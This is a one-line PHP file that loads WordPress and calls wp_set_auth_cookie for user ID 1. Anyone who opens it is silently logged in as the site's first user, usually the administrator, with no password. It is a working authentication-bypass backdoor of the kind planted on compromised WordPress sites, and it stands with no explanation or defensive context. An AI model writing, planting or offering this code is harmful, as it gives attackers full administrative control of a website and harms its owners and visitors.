<?php $doc=$_SERVER['DOCUMENT_ROOT']."/wp-load.php"; if(file_exists($doc)) { require($doc); wp_set_auth_cookie(1,1); } ?>